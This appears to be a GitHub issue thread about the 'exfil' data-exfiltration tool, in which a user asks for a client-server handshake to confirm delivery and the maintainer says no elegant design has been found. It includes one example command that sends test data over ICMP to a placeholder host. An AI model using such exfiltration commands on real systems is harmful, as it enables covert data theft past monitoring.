averagesecurityguy
server confirmation/handshake
Currently, and due to the nature of exfil, the application will send data regardless if there is a listening server or not.
Example of a non-existent server:
/root/exfil-master/exfil.py -d "TEST" -s 1.0.0.0 ping_data Sending data to 1.0.0.0 via ICMP. Data Sent: TEST
Would it be possible to have the client knowledge the delivery of the content? Have some sort of handshake between client and server?
The idea is that, from the client side, one can confirm if the data was in fact delivered to a server, and not just sent.
Thank you.
Sorry I haven't responded yet. I'm still trying to find an elegant way to add a handshake.
Unfortunately, I can't see an elegant way to add a handshake at this time. Will leave the issue open for now.
Thanks for the update. Even if it isn't a "proper" handshake, a simple message from the server on connection could also be an indication of successful connection.
Personally, for most of my use cases, if the server sent a simple "connected" that would be more than enough, as the idea is only to verify (when reading a log, for example) that the connection actually happened.
Just my 2 cents :). Thank you for looking into it.